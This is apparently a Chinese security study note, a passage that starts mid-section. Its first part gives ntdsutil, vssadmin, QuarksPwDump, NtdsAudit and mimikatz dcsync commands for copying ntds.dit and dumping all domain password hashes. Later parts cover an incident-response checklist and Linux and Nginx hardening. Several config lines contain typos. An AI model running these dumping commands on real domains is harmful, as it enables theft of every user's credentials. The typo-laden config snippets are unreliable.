ntdsutil snapshot  "del [guid]" quit quit

交互式

1
2
3
4
5
6
ntdsutil 进入交互界面
activate instance ntds 创建实例
ifm 使用ifm
create full <Drive>:\<Folder> 指定驱动器和文件夹
quit
quit

非交互式

1
ntdsutil "activate instance ntds" create full <Drive>:\<Folder> quit quit

vssadmin

VssAdmin:是Windows系统提供的卷景影复制服务VsS)的管理工具,域环境默认安装

  • 用于创建或删除卷影副本,列出卷影副本的信息
  • 用于显示所有安装的所有卷影副本写入程序和提供程序
  • 改变卷影副本存储空间的大小等

查询当前系统的快照

1
vssadmin list shadows

创建快照

1
vssadmin create shadow /for=C

获得Shadow Copy Volume Name

1
\\?GLOBALROOT\Device\HarddiskVolumeShadowCopy10

复制快照

1
copy \\?GLOBALROOT\Device\HarddiskVolumeShadowCopy10 [保存路径]

删除快照

1
vssadmin delete shadows /for=C /queit

痕迹

image-20230601202415613

无法直接访问,需要创建符号链接进行访问

image-20230601202501253

解密ntds.dit

QuarkPwDump

QuarksPwDump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

1.修复复制出来的数据库文件

1
esentutl /p /o ntds.dit

2.使用QuarksPwDump直接读取信息并将结果导出至文件

1
QuarksPwDump.exe --dump-hash-domain --output [输出文件名] --ntds-file ntds.dit

NtdsAudit

NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态.

将ntds.dit文件和SYSTEM文件放在同一自录下执行命令

1
NtdsAudit.exe "ntds.dit" -s "system.hive"-p pwdump.txt --users-csv users.csv

mimikatz(通常直接用cobaltstrike)

通过dcsync直接获取mingy域内所有用户hash

1
mimikatz lsadump:dcsync /domain:[域名] /all/csv

总结

许多没法进行复制或打开的文件,可以通过创建快照的方式来创建副本,于是可以进行复制和打开,sam文件、ntds.dit文件、system文件的获取就是如此,利用了卷影的机制。

护网应急响应(绿盟)

快速识别安全事件

入侵事件

  • 主机、服务器被入侵
  • Web站点被入侵

信息泄露事件

  • 敏感信息泄露
  • 用户弱口令
  • 源代码泄露

Web应用安全事件

SQL注入

  • XSS
  • XXE
  • 短信炸弹

如何发现安全事件

主动发现

日志分析

  • 安全设备日志
  • 主机日志
  • 中间件日志
  • 应用程序日志

恶意文件监控

  • 木马
  • Webshell
  • 其他可疑文件

安全威胁情报

被动发现

系统运维报告异常

  • 网络丢包
  • 系统频繁重启
  • 系统蓝屏
  • 系统资源占用率过高

业务用户投诉或抱怨

  • 用户收到异常短信
  • 用户异常退出登录

被通报

如何判断影响范围

异常主机所处环境

  • 内网接入区
  • 外来接入区
  • 单台主机or多台主机
  • 已被感染or处于危险中

image-20230604120052842

异常主机用途

  • 个人办公主机
  • 特殊权限主机
  • 工控主机
  • 应用服务器
  • 数据库服务器
  • 域控服务器

快速分析与侦查

三要素法

image-20230604120239277

image-20230604120254670

image-20230604120318220

回溯攻击法

护网中常见的安全风险

主机监听端口整理

  • 异常被监听端口
  • 异常会话连接

代码/命令执行

  • Weblogic
  • Struts2
  • JBoss
  • ThinkPHP
  • MS17-010
  • Fastjson

弱口令

  • Web应用弱口令
  • 中间件弱口令
  • 数据库
  • ssh、ftp、ssh、rdp

钓鱼邮件

  • 恶意word
  • 恶意PPT
  • 恶意链接
  • 信息搜集

常见web漏洞

  • SQL注入
  • XSS
  • XXE
  • 越权操作
  • 任意文件读取

文件上传风险

  • 头像
  • 附件
  • 图标

经验法

中间件根目录

文件上传目录

  • /var/tmp

默认下载路径

  • C:\Users\Account\Downloads
  • apache-tomcat-*/conf/tomcat-users.xml
  • servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war
  • servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
  • servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/
  • servers/AdminServer/tmp/_WL internal/wls-wsat/

社会工程学常见手法

恶意邮件

  • CVE-2018-0802
  • CVE-2017-8570
  • CVE-20017-11882

钓鱼网站

信息搜集

远程代码执行

  • CVE-2018-15982
  • CVE-2018-4878

微信

  • 假扮系统维护人员索要系统账号

常见服务端口

  • 21:FTP(未授权访问、弱口令)
  • 22 : SSH(弱口令)
  • 23:Telnet(未授权访问、弱口令)
  • 445:SMB(远程命令执行)
  • 1433:MSSQL(弱口令、提权)
  • 3306:MySQL(弱口令、提权)
  • 3389:RDP(弱口令、远程代码执行)
  • 7001 :weblogic(弱口令、SSRF、反序列化)
  • 8080:Tomcat(启用PUT方法、弱口令)
  • 27017:MongoDB(未授权访问)

快速取证和隔离

常用工具和脚本

Tcpview

AutoRuns

WebShell查杀工具

  • D盾
  • findwebshell

日志工具

  • windows
  • sublime/UE
  • LogParser/LogParser Lizard
  • Event log Explorer

web应用

  • WebLog Expert

linux

  • Goaccess
  • grep、cat、more、less、awk

分析思路

应用被入侵

  • Web/FTP日志-IP地址
  • 数据库日志/应用日志 -访问操作、时间
  • 系统日志-系统操作、用户

怎么判断日志中的异常请求

  • 时间
  • 频率
  • 来源
  • 恶意代码

取证对象和流程

  • 保护第一现场
  • 按照上述开展应急响应
  • 不轻信一面之词

取证对象

病毒木马文件

日志文件

  • 主机日志
  • 应用日志
  • 安全设备日志

攻击者残留文件

在主机上抓取的流量包

快速隔离方法

已经发生安全事件的对象

  • 断网、下线
  • 边界控制设备,防止网络区域相互影响

处在危险中的对象

  • 采取及时补救加固措施
  • 相关漏洞的扫描修补与追踪
  • 进行黑盒/白盒安全测试

Linux安全加固

安全加固方向

  • 用户安全
  • 文件安全
  • 登录安全

系统环境

CentOS7.9

重要文件

/etc/login.defs

文件功能

定义了 /etc/passsword以及/etc/shadow配置的用户限制,这个文件在系统中一定要存在,某些时候不会影响系统的使用,但有些时候会导致意想不到的错误。

如果**/etc/passsword以及/etc/shadow与/etc/login.defs文件产生了冲突,系统会以/etc/passsword以及/etc/shadow**为准,它们的优先级较高。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MAIL_DIR	/var/spool/mail
PASS_MAX_DAYS 99999 #密码最大有效期,以天为单位,一般为90天
PASS_MIN_DAYS 0 #两次修改密码的最小间隔,以天为单位
PASS_MIN_LEN 5 #密码最小长度,对root无效
PASS_WARN_AGE 7 #密码过期前n天提示
UID_MIN 1000 #用户ID,当你创建普通用户时如果不指定UID,则会从1000递增
UID_MAX 60000 #当你创建普通用户的最大ID
SYS_UID_MIN 201 #不指定UID,创建的系统用户的最小UID
SYS_UID_MAX 999 #不指定UID,创建的系统用户的最大UID
GID_MIN 1000
GID_MAX 60000
SYS_GID_MIN 201
SYS_GID_MAX 999
CREATE_HOME yes #创建用户的时候为这个用户创建家目录
UMASK 077 #用户家目录的权限值 700
USERGROUPS_ENAB yes #删除用户时,当用户组内没有其他的用户时,是否删除用户组,CentOS7在创建用户的时候,用户的GID是100
ENCRYPT_METHOD SHA512 #用户的密码使用SHA512加密

通用文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MAIL_DIR	/var/spool/mail
PASS_MAX_DAYS 90
PASS_MIN_DAYS 0
PASS_MIN_LEN 12
PASS_WARN_AGE 7
UID_MIN 1000
UID_MAX 60000
SYS_UID_MIN 201
SYS_UID_MAX 999
GID_MIN 1000
GID_MAX 60000
SYS_GID_MIN 201
SYS_GID_MAX 999
CREATE_HOME yes
UMASK 077
USERGROUPS_ENAB yes
ENCRYPT_METHOD SHA512

/etc/passwd

用户名:用户密码:用户uid:用户的gid:用户的注释:用户的主目录:用户的shell

1
2
root:  x:  0:  0:  root:  /root:  /bin/bash
bin: x: 1: 1: bin: /bin: /sbin/nologin

/etc/shadow

由于/etc/passwd允许所有用户读取,容易导致用户的密码泄露,所以linux系统将用户的相关密码信息从/etc/shadow分离出来,并且这个文件只有root才可以访问。

1
2
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin

/etc/ssh/sshd_config

ssh服务器的配置文件

1
2
3
4
5
port 22           #登录端口
ListenAddress 0.0.0.0 #监听地址,只能使用这个地址进行ssh登录,0.0.0.0允许所有的连接,一般改为跳板机地址
LoginGraceTime 2m #连接主机时,输入密码的时间超过2m就断开
permitRootLogin no #是否允许root远程登录
maxAuthTries 6 #最多尝试次数

/etc/bashrc

环境变量,初始化整个系统bash的设置

-rw-r--r-- 1 root root 37 May 30 11:37 README.md

-代表普通文件 d代表目录 l代表软链接

r读权限4 w写权限2 x执行权限1

文件所有者的权限 -文件所有者同用户组的权限 -其他用户对该文件的权限

image-20230602231815156

目录 文件
777 666
022(建议027) 022(建议027)
755 644

image-20230603165434254

history -a

打开命令行记录

1
2
3
4
5
6
export HISTFILE="/opt/cmd_history/${LOGIN_USER}/history"        #每个用户历史命令存储位置
shopt -s histhappend
PROMPT_COMMAND=“history -a” #查看历史命令的命令
HISTFILESIZE=50000
HISTTIMEFORMAT="%F %T" #列出执行命令的命令和时间
export HSTTIMEFORMAT

/etc/profile

环境变量,用来设置整个系统的环境变量

/etc/hosts.deny

主机的黑名单

1
2
sshd:ALL  			 #禁止所有人使用ssh登录本机
sshd:[ip地址] #禁止某个ip登录本机

/etc/hosts.allow

主机的白名单

1
sshd:[ip地址]        #允许指定的机器(管理机地址或者VPN地址)登录本机

Nginx加固

网站根目录文件

不能属于 root 而是 nginx

权限改为生产建议027,权限最小化

端口扫描

扫描开放端口,防止只能在内网开放的端口开放到外网

1
nmap [ip地址]

半开式扫描更加隐蔽

1
namp -sS [IP地址]

安全加固

  • 禁止目录浏览
  • 隐藏版本信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
vim /etc/nginx/nginx.conf       #配置信息

http{
...
server{
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
root /usr/share/nginx/html;
server_tokens off; #添加这一项,隐藏版本号
autoindex off; #禁止目录浏览
location / {
}
error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}

}

  • 限制http请求方法
1
2
3
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return444;
}
  • 限制ip访问
1
2
3
4
5
6
location / { 
deny 192.168.1.1; #拒绝IP
allow 192.168.1.0/24; #允许IP
allow 10.1.1.0/16; #允许IP
deny all; #拒绝其他所有IP
}
  • 限定SSL版本
1
2
3
server { 
ssl_protocols TLSv1.2;
}
  • 限制超时
1
2
3
4
client_body_timeout 10;  #设置客户端请求主体读取超时时间 
client_header_timeout 10; #设置客户端请求头读取超时时间
keepalive_timeout 55; #第一个参数指定客户端连接保持活动的超时时间,第二个参数是可选的,它指定了消息头保持活动的有效时间
send_timeout10; #指定响应客户端的超时时间
  • 限制权限
1
user nobody;

限制并发和速度

1
2
3
4
5
6
7
8
9
10
11
12
limit_zone one $binary_remote_addr 10m; 
server {
listen 80;
server_name www.test.com;
index index.html index.htm index.php;
root /usr/local/www; #Zone limit;
location / {
limit_conn one 1;
limit_rate 20k;
}
………
}
  • 配置防盗链
1
2
3
4
5
6
7
location ~* ^.+\.(gif|jpg|png|swf|flv|rar|zip)$ {     
valid_referers none blocked server_names *.test.com http://localhost baidu.com;
if ($invalid_referer) {
rewrite ^/ [img]http://www.XXX.com/images/default/logo.gif[/img];
# return403;
}
}